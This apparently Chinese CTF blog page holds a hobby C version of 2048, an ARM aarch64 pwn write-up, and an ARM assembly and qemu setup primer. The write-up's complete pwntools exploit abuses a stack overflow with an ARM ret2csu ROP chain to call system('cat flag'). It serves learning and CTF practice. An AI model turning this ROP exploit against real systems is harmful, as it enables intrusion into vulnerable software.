Pwn进你的心

不务正业系列：C语言版2048

Posted on 2022-08-31 In NoMaoWork 5.9k 5 mins.

C语言版2048

之前我复现了 Actf 的 2048，感觉这个游戏挺有意思（玩的有点上头），于是逆了逆源码，仿照他的思路也写了一个

代码如下：

#include<stdio.h>
#include<termios.h>
#include<unistd.h>
#include<signal.h>
#include<stdlib.h>
#include<time.h>

struct termios old_config;
struct termios new_config;

const char *str_list[12]={
	"39",
	"31",
	"32",
	"33",
	"34",
	"35",
	"36",
	"37",
	"91",
	"92",
	"93",
	"94",
};

unsigned long int score;
unsigned long int extra;

unsigned int box[4][4];
char num[8];
size_t key[12]={0,2,4,8,0x10,0x20,0x40,0x80,0x100,0x200,0x400,0x800};

int win;
int lose;

void table_show(){
	int m;
	int k;
	int j;
	int i;

	system("clear");
	printf("\x1B[2J\x1B[HScore: %ld", score);
	if(extra){
		printf(" (+%ld)",extra);
	}
	putchar('\n');
	puts("+------+------+------+------+");
	for(i=0;i<=3;i++){
		putchar('|');
		for(j=0;j<=3;j++){
			if(box[i][j]){
				printf("\x1B[7m\x1B[%sm%*s \x1B[0m|", str_list[box[i][j]], 5, num);
			}
			else{
				printf("%*s |", 5, num);
			}
		}
		putchar('\n');
		putchar('|');
		for(k=0;k<=3;k++){
			if (box[i][k]){
				printf("\x1B[7m\x1B[%sm%*zd \x1B[0m|", str_list[box[i][k]], 5, key[box[i][k]]);
			}
			else{
				printf("%*s |", 5, num);
			}
		}
		putchar('\n');
		putchar('|');
		for(m=0;m<=3;m++){
			if(box[i][m]){
				printf("\x1B[7m\x1B[%sm%*s \x1B[0m|", str_list[box[i][m]], 5, num);
			}
			else{
				printf("%*s |", 5, num);
			}
		}
		putchar('\n');
    	puts("+------+------+------+------+");
	}
}

unsigned int check_repeat(int random_num){
	int i;
	int j;
	int m;
	int re;
	int total=0;

	for(i=0;i<4;i++){
		for(j=0;j<4;j++){
			m = i*4+j;
			if(random_num==m){
				if(box[i][j]==0){
					return 1;
				}
				else{
					re = 0;	
				}
			}
			if(box[i][j]!=0){
				total++;
			}
		}
	}
	if(total==16){
		re = 2;
	}
	return re;
}

void randomly_add(){
	int random_num1;
	int random_num2;
	unsigned int num;
	unsigned int key;
	int j;
	int i;
	int m;

	srand(time(0));
	while(1){
		random_num1 = rand() % 16;
		key = check_repeat(random_num1);
		if(key == 2){
			return;
		}
		if(key == 1){
			break;
		}
	}

	for(i=0;i<4;i++){
		for(j=0;j<4;j++){
			m=i*4+j;
			if(m==random_num1){
				random_num2 = rand();
				if(random_num2 == (random_num2/10)*10){
					num=2;
				}
				else{
					num=1;
				}
				box[i][j]=num;
				return;
			}
		}
	}
}

void table_init(){
	int i;
	int j;

	for(i=0;i<=3;i++){
		for(j=0;j<=0;j++){
			box[i][j]=0;
		}
	}
	score=0;
	extra=0;
	win=0;
	lose=0;
	randomly_add();
	randomly_add();
	table_show();
}

void table_check(int extra_temp){
	int i;
	int j;

	extra = extra_temp/2;
	score += extra_temp/2;
	lose = 1;

	for(i=0;i<=3;++i){
		for(j=0;j<=3;++j){
			if(key[box[i][j]]==2048){
				win = 1;
			}
		}
	}
}

void move_left(){
	int i;
	int j;
	int k;

	for(i=0;i<4;i++){
		for(j=1,k=0;j<4;j++){
			if(box[i][j]>0){
				if(box[i][k]==box[i][j]){
					box[i][k]++;
					box[i][j]=0;
					table_check(key[box[i][k]]);
					k++;
				}
				else if(box[i][k]==0){
					box[i][k]=box[i][j];
					box[i][j]=0;
				}
				else{
					box[i][++k]=box[i][j];
					if(j!=k){
						box[i][j]=0;
					}
				}
			}
		}
	}
}

void move_right(){
	int i;
	int j;
	int k;

	for(i=0;i<4;i++){
		for(j=2,k=3;j>=0;j--){
			if(box[i][j]>0){
				if(box[i][k]==box[i][j]){
					box[i][k]++;
					box[i][j]=0;
					table_check(key[box[i][k]]);
					k--;
				}
				else if(box[i][k]==0){
					box[i][k]=box[i][j];
					box[i][j]=0;
				}
				else{
					box[i][--k]=box[i][j];
					if(j!=k){
						box[i][j]=0;
					}
				}
			}
		}
	}
}

void move_up(){
	int i;
	int j;
	int k;

	for(i=0;i<4;i++){
		for(j=1,k=0;j<4;++j){
			if(box[j][i]>0){
				if(box[k][i]==box[j][i]){
					box[k][i]++;
					box[j][i]=0;
					table_check(key[box[k][i]]);
					k++;
				}
				else if(box[k][i]==0){
					box[k][i]=box[j][i];
					box[j][i]=0;
				}
				else{
					box[++k][i]=box[j][i];
					if(j!=k){
						box[j][i]=0;
					}
				}
			}
		}
	}
}

void move_down(){
	int i;
	int j;
	int k;

	for(i=0;i<4;i++){
		for(j=2,k=3;j>=0;--j){
			if(box[j][i]>0){
				if(box[k][i]==box[j][i]){
					box[k][i]++;
					box[j][i]=0;
					table_check(key[box[k][i]]);
					k--;
				}
				else if(box[k][i]==0){
					box[k][i]=box[j][i];
					box[j][i]=0;
				}
				else{
					box[--k][i]=box[j][i];
					if(j!=k){
						box[j][i]=0;
					}
				}
			}
		}
	}
}

void game(){
	int input;
	table_init();

	while(1){
		extra = 0;
		input = 0;
		input = getchar();
		randomly_add();
		
		if(input == 'w'){
			move_up();
		}
		else if(input == 's'){
			move_down();
		}
		else if(input == 'a'){
			move_left();
		}
		else if(input == 'd'){
			move_right();
		}
		table_show();

		if(win==1){
			printf("You are win~~,Thanks for your playing~~~\n");
			getchar();
			return;
		}
	}
}

int main(){
	tcgetattr(0,&old_config);
	new_config = old_config;
	new_config.c_lflag &= ~ICANON;         
	new_config.c_lflag &= ~ECHO;        
	new_config.c_cc[VMIN] = 1;          
	new_config.c_cc[VTIME] = 0; 
	tcsetattr(0, TCSANOW, &new_config);
	game();

	return 0;
}

关于几个 move 的操作参考了网上的代码
而关于 game loss 的判断则没有写（IDA 太乱了）

运行效果如下：

ARM pwn+ret2csu

Posted on 2022-08-30 In Reappearance 6.6k 6 mins.

2048 复现

1	GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.2) stable release version 2.31

PS：ARM 的 libc 和 X86 的还不一样

2048: ELF 64-bit LSB executable, ARM aarch64, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux-aarch64.so.1, BuildID[sha1]=2ad2206f21bc8a991f4874f2b2ca0cc6e6b973c0, for GNU/Linux 3.7.0, stripped                  
    Arch:     aarch64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

64位，dynamically，ARM，开了 NX，Full RELRO

这是 ARM 的程序，需要用 qemu 来模拟 ARM 虚拟机（环境我已经搭好了）

使用如下命令来启动 qemu：

1	qemu-aarch64 -L /usr/aarch64-linux-gnu ./[pwn]

漏洞分析

char buf[20]; // [xsp+10h] [xbp+10h] BYREF

puts("You win!");
printf("Do you want to continue playing? [y/n]: ");
read(0, buf, 0x100uLL);                       // 栈溢出
result = (unsigned __int8)buf[0];
if ( buf[0] == 'Y' || buf[0] == 'y' )
    return game_close();
return result;

数组 buf 溢出，没有开 canary 可以直接打 ROP

入侵思路

在进行栈溢出之前，需要先完成一个游戏：2048

B站学习视频：怎么玩2048_bilibili
在 github 上寻找 2048 的自动化脚本：SrinidhiRaghavan/AI-2048-Puzzle

逆向分析发现，这个程序通过 “W” “S” “A” “D” 4个键来控制程序（具体的实现过程可以先不用管），并且程序的种子是固定的

每一局游戏都是以下这个界面：

Score: 0
+------+------+------+------+
|      |      |      |      |
|      |      |      |    2 |
|      |      |      |      |
+------+------+------+------+
|      |      |      |      |
|    2 |      |      |      |
|      |      |      |      |
+------+------+------+------+
|      |      |      |      |
|      |      |      |      |
|      |      |      |      |
+------+------+------+------+
|      |      |      |      |
|      |      |      |      |
|      |      |      |      |
+------+------+------+------+

因此，只要完成一次游戏记录 payload 就可以了（我就没有跑脚本了，直接硬玩也可以）

payload = 'sddsdsdsddssssdddsddssddddwsdsdsddssdsdsssdsddddddsssddsddddadssdsdsddddssdddddadsssswssddsdsdssddadddsdddadsdssddsdddswwwdddsddadsdddaasdsddsdsdsddsdsddsdddssdsddsddddwsdsssddsadsdsdddsddsaddwwdsddsssddsdadadsdssasdadswsdaddssssswswdssddssdsdsadwdswwwswdsdsadassddsddddadaddssdasdsdsddsddsssdsdsddddsddddwssdssdswsdssdadadssswddadawwwwwdsdaasdsadsssdsddsdssdddswwwsddssasdwwwswswdddddsdssddddddsdswswswsdsadaasdddaaddsdassdsdasasddwwdddwdsdsddsddwddsadasdssdsswdsdsassddswwdwwswdadddassdsdsddwsddsadsssddsddsddaswasdsdssaddswsswsadsssssassdsdwwsssdsdsdddddsswwdwswsddssddsssssddsdssswssddswsddssddsddsssdswssssssddwddsdwsdswswsddwsdsssdasddadasddadsadsddddswdsasssswswsddsssssdsdwswdswswdsdsswsdsddsssadssdswsaaadsddssdswsswswddsddsdsssdadasdaassdwsdasdaadsdsddsddsadsdssssssddsdadsdsdsaddddsswdasasdddsddsadsdddsddsssdadadsaaddddssdwdddsadwdasddssddsssdsdsdddssaaaaasdsaddddswwdsdasswdwwswdsswsdsdddssswwsddssdwdssdsssssssdadsdadwdssdadddwddsddssdadddddddaadasddsddwdsdadaaaaaaadswds'

接下来的 ROP 就是重头戏了，先介绍一下 ARM 的 ret2csu：

.text:                               loc_4020D8                              ; CODE XREF: sub_402070+3C↑j
.text: F3 53 41 A9                   LDP             X19, X20, [SP,#var_s10]
.text: F5 5B 42 A9                   LDP             X21, X22, [SP,#var_s20]
.text: F7 63 43 A9                   LDP             X23, X24, [SP,#var_s30]
.text: FD 7B C4 A8                   LDP             X29, X30, [SP+var_s0],#0x40
.text: C0 03 5F D6                   RET

.text:                               loc_4020B8                              ; CODE XREF: sub_402070+64↓j
.text: A3 7A 73 F8                   LDR             X3, [X21,X19,LSL#3]
.text: E2 03 18 AA                   MOV             X2, X24
.text: 73 06 00 91                   ADD             X19, X19, #1
.text: E1 03 17 AA                   MOV             X1, X23
.text: E0 03 16 2A                   MOV             W0, W22
.text: 60 00 3F D6                   BLR             X3

LDP <reg0>, <reg1>, [<reg2|SP>{, #<imm>}]：
- 把 SP+<imm>上的值存入<reg0>, <reg1>
- 常用于恢复寄存器的数据
- 基地址偏移量模式，“{}”大括号表示可选的意思
LDR <reg0>, [<reg1>, <reg2>, LSL#3]：
- 查找到 <reg1>（基地址）加上 <reg2> 右移3位（偏移地址）的地址
- 把其中的内容赋值给 <reg0>
BLR <Xm>：
- 跳转到由 <Xm> 目标寄存器指定的地址处
- 同时将下一条指令存放到 <X30> 寄存器中

利用模板：

csu1_addr = 
csu2_addr = 
def ret2csu(func_addr, arg0, arg1, arg2):
    payload = p64(csu1_addr) # ret
    payload += p64(csu1_addr) # x29
    payload += p64(csu2_addr) # x30
    payload += p64(0) # x19
    payload += p64(1) # x20
    payload += p64(func_addr) # x21
    payload += p64(arg0) # x22 (x0)
    payload += p64(arg1) # x23 (x1)
    payload += p64(arg2) # x24 (x2)
    return payload

注意：程序并不会直接调用 func_addr，而是会调用 func_addr 指向的地址

最后说一下 ARM 环境的问题：

绝大多数 ARM 架构的题都是在 qemu 模拟出的环境中跑的，而 qemu 没有 NX 和 PIE（即使题目所给的二进制文件开了 NX 和 PIE 保护，也只是对真机环境奏效），也就是说，qemu 中所有地址都是有可执行权限的（包括堆栈，甚至 bss 段等），然后 libc_base 和 proc_base 每次跑都是固定的
跑 qemu 的时候，libc_base 一般都是 0x4000XXX000 这样的地址，因此泄露数据的时候会被 \x00 截断，其实只需要泄露后三个字节（后六位），然后加上 0x4000000000 即可得到泄露出的 libc 地址（本地和远程的偏移可能不同）

于是我们就先调用 GOT 里面的 puts 随便泄露一个 GOT 里面的函数，计算出 libc_base，然后利用 ret2csu 执行 ROP

完整 exp：

# -*- coding: utf-8 -*-
from pwn import *

p=process(['qemu-aarch64','-L','/usr/aarch64-linux-gnu/','./20481'])
#p=process(['qemu-aarch64','-L','/usr/aarch64-linux-gnu/','-g','1234','./20481'])

elf=ELF('./20481')

context(arch='aarch64', os='linux')
#context.log_level='debug'

csu1_addr=0x4020D8
csu2_addr=0x4020B8

libc=ELF('./libc-2.31.so')

csu1_addr=0x04020D8
csu2_addr=0x04020B8
def ret2csu(func_addr, arg0, arg1, arg2):
    payload = p64(csu1_addr) # ret
    payload += p64(csu1_addr) # x29
    payload += p64(csu2_addr) # x30
    payload += p64(0)  # x19
    payload += p64(1)  # x20
    payload += p64(func_addr)  # x21
    payload += p64(arg0)  # x22 (x0)
    payload += p64(arg1)  # x23 (x1)
    payload += p64(arg2)  # x24 (x2)
    return payload

puts_addr = 0x4131B8
__libc_start_main_got = 0x412f68
__libc_start_main_libc = 0x5500856ba8
puts_got = 0x412f88
libc_base = __libc_start_main_libc - libc.sym['__libc_start_main']
system_libc = libc.sym['system']+libc_base
success("libc_base >> "+hex(libc_base))

p.recvuntil('name:')
p.send(p64(system_libc)+"cat flag")
sleep(1)

payload = 'sddsdsdsddssssdddsddssddddwsdsdsddssdsdsssdsddddddsssddsddddadssdsdsddddssdddddadsssswssddsdsdssddadddsdddadsdssddsdddswwwdddsddadsdddaasdsddsdsdsddsdsddsdddssdsddsddddwsdsssddsadsdsdddsddsaddwwdsddsssddsdadadsdssasdadswsdaddssssswswdssddssdsdsadwdswwwswdsdsadassddsddddadaddssdasdsdsddsddsssdsdsddddsddddwssdssdswsdssdadadssswddadawwwwwdsdaasdsadsssdsddsdssdddswwwsddssasdwwwswswdddddsdssddddddsdswswswsdsadaasdddaaddsdassdsdasasddwwdddwdsdsddsddwddsadasdssdsswdsdsassddswwdwwswdadddassdsdsddwsddsadsssddsddsddaswasdsdssaddswsswsadsssssassdsdwwsssdsdsdddddsswwdwswsddssddsssssddsdssswssddswsddssddsddsssdswssssssddwddsdwsdswswsddwsdsssdasddadasddadsadsddddswdsasssswswsddsssssdsdwswdswswdsdsswsdsddsssadssdswsaaadsddssdswsswswddsddsdsssdadasdaassdwsdasdaadsdsddsddsadsdssssssddsdadsdsdsaddddsswdasasdddsddsadsdddsddsssdadadsaaddddssdwdddsadwdasddssddsssdsdsdddssaaaaasdsaddddswwdsdasswdwwswdsswsdsdddssswwsddssdwdssdsssssssdadsdadwdssdadddwddsddssdadddddddaadasddsddwdsdadaaaaaaadswds'
p.send(payload)

p.recvuntil('[y/n]: ')
payload=40*'a'
#payload+=ret2csu(puts_got,__libc_start_main_got,0,0)
#payload+=ret2csu(0x413154,(libc.search('/bin/sh').next())+libc_base,0,0)
payload+=ret2csu(0x413154,0x413154+8,0,0)

p.send(payload)
"""
p.recvuntil('Bye~\n')
leak_addr=u64(p.recv(3).ljust(8,'\x00'))
success("leak_addr >> "+hex(leak_addr))
# leak_addr >> 0x856ba8
# __libc_start_main >> 0x5500856ba8
"""

p.interactive()

小结：

初入 ARM pwn，学到了不少 ARM 的知识：

libc_base 和 proc_base 每次跑都是固定的
ret2csu 并不会直接调用 func_addr，而是会调用 func_addr 指向的地址

我感觉这个 2048 小游戏很有意思，有时间看看这是这么实现的

ARM pwn 环境搭建+基础入门

Posted on 2022-08-29 Edited on 2023-05-01 In Technology 11k 10 mins.

ARM 架构简述

ARM 架构，过去称作进阶精简指令集机器（Advanced RISC Machine，更早称作艾康精简指令集机器， Acorn RISC Machine），是一个精简指令集（RISC）处理器架构家族，其广泛地使用在许多嵌入式系统设计

ARM程序，指在ARM系统中正在执行的程序，而非保存在ROM中的bin文件

ARM 和 x86 之间的更多区别是：

在 ARM 中，大多数指令都可用于条件执行。
英特尔 x86 和 x86-64 系列处理器使用小端格式
ARM 架构在低版本是小端的，之后，ARM 处理器成为 BL端（有允许可切换字节序的设置，由程序状态寄存器 CPSR 的位9 (E位) 控制）

一个ARM程序包含3部分：

RO段（只读）：RO是程序中的指令和常量
RW段（可读写）：RW是程序中已初始化的变量
ZI段（可读写）：ZI是程序中未初始化的变量

搭建环境

安装 qemu-user：（用于开启虚拟机）

1 2	sudo apt-get install qemu-user sudo apt-get install qemu-use-binfmt qemu-user-binfmt:i386

安装交叉编译工具 aarch64-linux-gnu-gcc：（推荐）

1	sudo apt-get install gcc-aarch64-linux-gnu

安装交叉编译工具链 arm-linux-gcc-4.3.3：（不推荐）

arm-linux-gcc-4.4.3.tar.gz
百度云盘，密码：1gtt

1
2
3

sudo mkdir /usr/local/arm_4.4.3
sudo cp -r ./opt/FriendlyARM/toolschain/4.4.3/* /usr/local/arm_4.4.3
gedit ~/.zshrc

1	export PATH=$PATH:/usr/local/arm_4.4.3/bin

安装 qemu 内核：（最好不要 apt-get 直接安装，因为没有 qemu-system-aarch64）

wget https://download.qemu.org/qemu-6.2.0.tar.xz
tar xvJf qemu-6.2.0.tar.xz
cd qemu-6.2.0
./configure --target-list=aarch64-softmmu
make
sudo make install

获取 ubuntu-18.04-server-arm64.iso：

http://old-releases.ubuntu.com/releases/18.04.3/

下载对应架构（aarch64）的 UEFI 固件：

1	wget http://releases.linaro.org/components/kernel/uefi-linaro/16.02/release/qemu64/QEMU_EFI.fd

创建虚拟机硬盘：

1	qemu-img create ubuntuimg.img 40G

创建虚拟机：

qemu-system-aarch64 -m 2048 -cpu cortex-a57 -smp 2 -M virt -bios QEMU_EFI.fd -nographic -drive if=none,file=ubuntu-18.04-server-arm64.iso,id=cdrom,media=cdrom -device virtio-scsi-device -device scsi-cd,drive=cdrom -drive if=none,file=ubuntuimg.img,id=hd0 -device virtio-blk-device,drive=hd0

直接回车选择安装 Ubuntu Server：

安装成功后，就可以通过如下命令开启 ARM 程序：

1 2	qemu-arm -L /usr/aarch64-linux-gnu -g 1234 ./[pwn] qemu-aarch64 -L /usr/aarch64-linux-gnu -g 1234 ./[pwn]

最后介绍一下调试方法：

1
2
3

gdb-multiarch [pwn] 
set architecture [Arch-name] # aarch64 or arm
target remote localhost:1234

参考：

数据类型和寄存器

与高级语言类似，ARM 支持对不同数据类型的操作

我们可以加载（或存储）的数据类型可以是有符号和无符号单词，半字或字节，这些数据类型的扩展名是：

-h 或 -sh 表示半字
-b 或 -sb 表示一字节
没有扩展名表示一字

有符号数据类型和无符号数据类型之间的区别在于：

有符号数据类型 (+s) 可以同时包含正值和负值，因此范围较小
无符号数据类型 (+0) 可以保存较大的正值（包括“零”），但不能保存负值，因此范围更广

以下是如何将这些数据类型与加载和存储说明一起使用的一些示例：

ldr = Load Word
ldrh = Load unsigned Half Word
ldrsh = Load signed Half Word
ldrb = Load unsigned Byte
ldrsb = Load signed Bytes

str = Store Word
strh = Store unsigned Half Word
strsh = Store signed Half Word
strb = Store unsigned Byte
strsb = Store signed Byte

寄存器的数量取决于ARM版本

根据ARM参考手册，除了基于 ARMv6-M 和 ARMv7-M 的处理器外，都有30个通用的32位寄存器，其中的 r0-r15 作用如下表：

32位	64位	别名	目的
R0-R6	X0-X7	–	一般用途
	X8	–	保存子程序返回值
R7		–	持有系统调用号
	X9-X15	临时寄存器	子程序使用时不需要保存
R8-R10	X19-X28	临时寄存器	子程序使用时必须保存
	X18	–	记录平台信息
R11	X29	FP	帧指针
R12	X16-X17	IP	程序内呼叫
R13	X31	SP	栈指针
R14	X30	LR	链接注册
R15		PC	程序计数器
CPSR	CPSR	–	当前程序状态寄存器
SPSR	SPSR	–	程序状态保存寄存器

R0-R12：可在常见操作期间用于存储临时值、指针（到内存的位置）等
- R0 在算术运算期间可以称为累加器，或者用于存储以前调用的函数的结果
- R7 在使用系统调用时变得很有用，因为它存储了 syscall 编号
- R11 帮助我们跟踪栈上的边界，作为帧指针（稍后将介绍）
- R0-R3：ARM 上的函数调用约定指定函数的前四个参数存储在寄存器 r0-r3 中
R13：SP（栈指针）栈指针指向栈的顶部
- 栈是用于特定于函数的存储的内存区域，当函数返回时，将回收该内存区域
- 因此，栈指针用于分配栈上的空间，方法是从栈指针中减去我们要分配的值（以字节为单位），换句话说，如果我们想分配一个32位值，我们从栈指针中减去“4”
R14：LR（链路寄存器）进行函数调用时，链接寄存器将使用内存地址进行更新，该内存地址引用从中启动函数的下一条指令
- 这样做允许程序返回到在“子”函数完成后启动“子”函数调用的“父”函数
R15：PC（程序计数器）程序计数器按执行的指令的大小自动递增
- 此大小在 ARM 状态下始终为4个字节，在 THUMB 模式下始终为2个字节
- 当执行分支指令时，PC保存目标地址，在执行过程中，PC 将当前指令加 8（两条 ARM 指令）的地址存储在 ARM 状态，将当前指令加 4（两条拇指指令）的地址存储在 Thumb(v1) 状态
- PS：这与x86不同，在x86中，PC 始终指向要执行的下一条指令

CPSR：显示当前程序状态寄存器（CPSR）的值

在此值下，您可以看到标志 >> thumb, fast, interrupt, overflow, carry, zero, and negative
这些标志表示 CPSR 寄存器中的某些位，并根据 CPSR 的值进行设置，并在激活时变为粗体
N、Z、C 和 V 位与 x86 上 EFLAG 寄存器中的 SF、ZF、CF 和 OF 位相同，它们将用于支持程序集级别的条件和循环中的条件执行：
- N – 当操作结果为负时设置
- Z – 当操作结果为零时设置
- C – 判断无符号数是否溢出
- V – 判断带符号数是否溢出

下表展示了 CPSR 中各个位的具体作用：

Flag	Description
N (Negative)	如果指令结果产生负数，则启用
Z (Zero)	如果指令的结果产生零值，则启用
C (Carry)	如果指令的结果产生一个需要完全表示第 33 位的值，则启用该值
V (Overflow)	如果指令的结果产生的值不能用 32 位 2 的补码表示，则启用此选项
E (Endian-bit)	ARM可以在小端序或大端中进行切换，对于小字节序，此位设置为“0”，对于大字节序模式，此位设置为“1”
T (Thumb-bit)	如果您处于 Thumb 状态，则设置此位，并在您处于 ARM 状态时被禁用
M (Mode-bits)	这些位指定当前权限模式（USR、SVC 等）
J (Jazelle)	第三个执行状态，允许某些 ARM 处理器在硬件中执行 Java 字节码

ARM & THUMB

ARM 处理器有两种主要状态，它们可以在其中运行（这里不算Jazelle）：ARM 和 Thumb

Thumb 是 ARM 体系结构中一种 16位的指令集
Thumb 指令集可以看作是 ARM 指令压缩形式的子集，它是为减小代码量而提出，具有16bit的代码密度

这些状态与权限级别无关，例如，在 SVC 模式下运行的代码可以是 ARM 或 Thumb，这两种状态之间的主要区别在于指令集，其中 ARM 状态下的指令始终为32位，而 Thumb 状态的指令为16位（但可以是32位）

了解何时以及如何使用 Thumb 对于我们的 ARM 漏洞利用开发目的尤为重要，在编写 ARM 外壳代码时，我们需要删除 NULL 字节，并使用 16 位 Thumb 指令而不是 32 位 ARM 指令来降低拥有它们的机会

如前所述，有不同的 Thumb 版本，不同的命名只是为了将它们彼此区分开来：（处理器本身将始终将其称为 Thumb）

Thumb-1（16 位指令）：用于 ARMv6 和早期架构
Thumb-2（16 位和 32 位指令）：通过添加更多指令并允许它们为 16 位或 32 位宽（ARMv6T2、ARMv7）来扩展 Thumb-1
ThumbEE：包括一些针对动态生成的代码（在执行前或执行期间在设备上编译的代码）的一些更改和添加

ARM 和 Thumb 之间的区别：

条件执行：
- ARM 状态下的所有指令都支持条件执行，某些 ARM 处理器版本允许使用 IT 指令在 Thumb 中执行条件（条件执行导致更高的代码密度，因为它减少了要执行的指令数量，并减少了昂贵的分支指令的数量）
32 位 ARM 和 Thumb 指令：
- 32 位 Thumb 指令具有 .w 后缀
- 32 位 ARM 指令没有
桶形移位器：
- 是另一个独特的 ARM 模式功能，它可用于将多个指令缩小为一个

要切换处理器执行的状态，必须满足以下两个条件之一：

我们可以使用分支指令BX（分支和交换）或BLX（分支，链路和交换），并将目标寄存器的最低有效位设置为1
- 这可以通过将1添加到偏移量（如0x5530 + 1）来实现
- 您可能会认为这会导致对齐问题，因为指令是 2 字节或 4 字节对齐的
- 不够都这不是问题，因为处理器将忽略最低有效位
我们知道，如果当前程序状态寄存器中的 T 位已设置，则处于 Thumb 模式

ARM 指令集

汇编语言由指令组成，这些指令是主要的构建块，ARM 指令后面通常跟一个或两个操作数，通常使用以下模板：

1	MNEMONIC{S}{condition} {Rd}, Operand1, Operand2

由于 ARM 指令集的灵活性，并非所有指令都使用模板中提供的所有字段

MNEMONIC - 指令的简称(助记符)
{S} - 可选后缀,如果指定了S,则条件标志会根据操作结果更新
{condition} - 执行指令需要满足的条件
{Rd} - 用于存储指令结果的寄存器(目标)
Operand1 - 第一个操作数,寄存器或立即数
Operand2 - 第二个(灵活的)操作数,可以是立即数(数字)或带有可选移位的寄存器

虽然 MNEMONIC、S、Rd 和 Operand1 字段是直截了当的，但条件和 Operand2 字段需要进一步澄清：

条件字段与 CPSR 寄存器的值紧密相关，或者更确切地说，与寄存器中特定位的值紧密相关
Operand2 被称为灵活的操作数，因为我们可以以各种形式使用它：
- 作为即时值（具有有限的值集）
- 寄存器
- 以移位寄存器
例如，我们可以将这些表达式用作操作数 2：

#123 - 立即值(具有有限的一组值)
Rx - 寄存器 x(如 R1、R2、R3 ...)
Rx, ASR n - 寄存器 x 算术右移 n 位 (1 = n = 32)
Rx, LSL n - 寄存器 x 逻辑左移 n 位 (0 = n = 31)
Rx, LSR n - 寄存器 x 逻辑右移 n 位 (1 = n = 32)
Rx, ROR n - 寄存器 x 右移 n 位 (1 = n = 31)
Rx, RRX - 寄存器 x 右移一位,扩展

作为不同类型说明的快速示例，让我们看一下以下列表：

ADD R0, R1, R2 - 将 R1 (Operand1) 和 R2 (Operand2 的寄存器形式) 的内容相加并将结果存储到 R0 (Rd)
ADD R0, R1, #2 - 将 R1 (Operand1) 的内容与值 2 (Operand2 的立即数形式) 相加并将结果存储到 R0 (Rd)
MOVLE R0, #5 - 仅当满足条件 LE (小于或等于)时,将数字 5 (操作数 2,因为编译器将其视为 MOVLE R0, R0, #5) 移动到 R0(Rd)
MOV R0, R1, LSL #1 - 将 R1 的内容(操作数 2 采用逻辑左移的寄存器形式)左移一位到 R0(Rd),因此,如果 R1 的值为 2,它会左移一位并变为 4,然后将 4 移至 R0

作为快速摘要，让我们看一下我们将在以后的示例中使用的最常见的说明

指令	描述	指令	描述
MOV	Move data	EOR	Bitwise XOR
MVN	Move and negate	LDR	Load
ADD	Addition	STR	Store
SUB	Subtraction	LDM	Load Multiple
MUL	Multiplication	STM	Store Multiple
LSL	Logical Shift Left	PUSH	Push on Stack
LSR	Logical Shift Right	POP	Pop off Stack
ASR	Arithmetic Shift Right	B	Branch
ROR	Rotate Right	BL	Branch with Link
CMP	Compare	BX	Branch and eXchange
AND	Bitwise AND	BLX	Branch with Link and eXchange
ORR	Bitwise OR	SWI/SVC	System Call

加载和存储

ARM 使用 load-store 模型进行内存访问，这意味着只有 load/store（LDR 和 STR）指令才能访问内存，虽然在x86上允许大多数指令直接对内存中的数据进行操作，但在ARM上，数据必须在操作之前从内存移动到寄存器中

这意味着在 ARM 上的特定内存地址递增 32 位值需要三种类型的指令（加载、递增和存储），首先将特定地址的值加载到寄存器中，在寄存器中递增，然后将其从寄存器存储回存储器

通常，LDR 用于将某些内容从内存加载到寄存器中，而 STR 用于将某些内容从寄存器存储到内存地址

常规操作

1 2	LDR R2, [R0] @ [R0]:原始地址是在 R0 中找到的值 STR R2, [R1] @ [R1]:目标地址是在 R1 中找到的值

LDR 操作：将 R0 中找到的地址处的值加载到目标寄存器 R2
STR 操作：将 R2 中找到的值存储到 R1 中找到的内存地址

1 2	STR Ra, [Rb, imm] LDR Ra, [Rc, imm]

偏移形式为：使用立即（整数）作为偏移量
偏移地址模式：先从基本寄存器 Ra 中添加或减去此值，然后再使用已知的偏移量访问数据

1 2	STR Ra, [Rb, Rc] LDR Ra, [Rb, Rc]

偏移形式为：使用寄存器作为偏移（偏移地址模式）
- Rb 是基寄存器
- Rc 是偏移
使用场景：当您的代码想要访问在运行时计算索引的数组

1 2	LDR Ra, [Rb, Rc, <shifter>] STR Ra, [Rb, Rc, <shifter>]

偏移形式为：具有缩放寄存器作为偏移（偏移地址模式）
- Rb 是基寄存器
- Rc 是左/右移位（< shifter >）的即时偏移（或包含即时值的寄存器），以缩放即时偏移（这意味着桶形移位器用于缩放偏移）
使用场景：循环以循环访问数组

特殊操作

1	LDR r3, [r1], #offset

索引后地址模式：这意味着基寄存器（R1）用作最终地址，然后使用 R1 + 4 计算的失调进行更新
换句话说，它采用在 R1（不是 R1+4）中找到的值并将其加载到 R3 中，然后将 R1 更新为 R1 + offset

1	ADR r0, words+12 /* address of words[3] -> r0 */

我们使用 ADR 指令（懒惰方法）来获取 word[3] 的地址放入 R0
PS：其实这两个都是伪指令
- ADR 是小范围的地址读取伪指令
- LDR 是大范围的读取地址伪指令

1 2	LDR r1, array_buff_bridge /* address of array_buff[0] -> r1 / LDR r2, array_buff_bridge+4 / address of array_buff[2] -> r2 */

执行上述两条指令后，R1 和 R2 包含 array_buff[0] 和 array_buff[2] 的地址
PS：对于数组，可以采用这种这种写法

同时处理多个值

有时，一次加载（或存储）多个值会更有效，为此，我们使用 LDM（加载多个）和 STM（存储多个）指令：

1	LDM r0, {r4,r5} /* words[3] -> r4 = 0x03; words[4] -> r5 = 0x04 */

R0 中装有 word[3]
我们使用一个命令加载了多个（2个数据块），该命令将：
- R4 = 0x00000003
- R5 = 0x00000004
PS：注意在合适的位置打上花括号

1	stm r1, {r4,r5} /* r4 -> array_buff[0] = 0x03; r5 -> array_buff[1] = 0x04 */

R1 中装有 array_buff[0]
我们使用一个命令存储了多个（2个数据块），该命令将：
- array_buff[0] = 0x00000003
- array_buff[1] = 0x00000004

条件执行

CPSR 中的 N、Z、C 和 V 位与 x86 上 EFLAG 寄存器中的 SF、ZF、CF 和 OF 位相同，它们将用于支持程序集级别的条件和循环中的条件执行

下表列出了可用的条件代码、其含义以及测试的标志的状态：

Condition Code	Meaning (for cmp or subs)	Status of Flags
EQ	相等	Z==1
NE	不相等	Z==0
GT	大于（有符号）	(Z==0) && (N==V)
LT	小于（有符号）	N!=V
GE	大于等于（有符号）	N==V
LE	小于等于（有符号）	(Z==1) \	\	(N!=V)
CS or HS	大于等于（无符号）	C==1
CC or LO	小于（无符号）	C==0
HI	大于（无符号）	(C==1) && (Z==0)
